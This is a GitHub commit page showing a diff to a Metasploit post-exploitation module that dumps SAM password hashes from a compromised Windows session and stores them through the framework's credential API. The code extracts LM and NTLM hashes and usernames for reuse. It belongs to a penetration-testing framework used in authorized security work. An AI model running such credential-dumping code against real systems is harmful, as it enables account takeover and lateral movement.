Skip to content

Commit 6d45f75

Browse files
author
Tod Beardsley
committed
Land rapid7#3690, credential_collect refactor
@TomSellers strikes again!
2 parents 633eaab + 9b0c5df commit 6d45f75

File tree

1 file changed

+40
-17
lines changed

1 file changed

+40
-17
lines changed

modules/post/windows/gather/credentials/credential_collector.rb

Lines changed: 40 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -38,31 +38,54 @@ def run
3838
session.core.use("incognito") if not session.incognito
3939

4040
# It wasn't me mom! Stinko did it!
41-
hashes = client.priv.sam_hashes
41+
begin
42+
hashes = client.priv.sam_hashes
43+
rescue
44+
print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?')
45+
return
46+
end
4247

4348
# Target infos for the db record
44-
addr = client.sock.peerhost
49+
addr = session.session_host
4550
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
4651

4752
# Record hashes to the running db instance
4853
print_good "Collecting hashes..."
4954

5055
hashes.each do |hash|
51-
data = {}
52-
data[:host] = addr
53-
data[:port] = 445
54-
data[:sname] = 'smb'
55-
data[:user] = hash.user_name
56-
data[:pass] = hash.lanman + ":" + hash.ntlm
57-
data[:type] = "smb_hash"
58-
if not session.db_record.nil?
59-
data[:source_id] = session.db_record.id
60-
end
61-
data[:source_type] = "exploit",
62-
data[:active] = true
63-
64-
print_line " Extracted: #{data[:user]}:#{data[:pass]}"
65-
report_auth_info(data) if db_ok
56+
# Build service information
57+
service_data = {
58+
address: addr,
59+
port: 445,
60+
service_name: 'smb',
61+
protocol: 'tcp',
62+
}
63+
64+
# Build credential information
65+
credential_data = {
66+
origin_type: :session,
67+
session_id: session_db_id,
68+
post_reference_name: self.refname,
69+
private_type: :ntlm_hash,
70+
private_data: hash.lanman + ":" + hash.ntlm,
71+
username: hash.user_name,
72+
workspace_id: myworkspace_id
73+
}
74+
75+
credential_data.merge!(service_data)
76+
credential_core = create_credential(credential_data)
77+
78+
# Assemble the options hash for creating the Metasploit::Credential::Login object
79+
login_data = {
80+
core: credential_core,
81+
status: Metasploit::Model::Login::Status::UNTRIED,
82+
workspace_id: myworkspace_id
83+
}
84+
85+
login_data.merge!(service_data)
86+
create_credential_login(login_data)
87+
88+
print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"
6689
end
6790

6891
# Record user tokens

0 commit comments

Comments
 (0)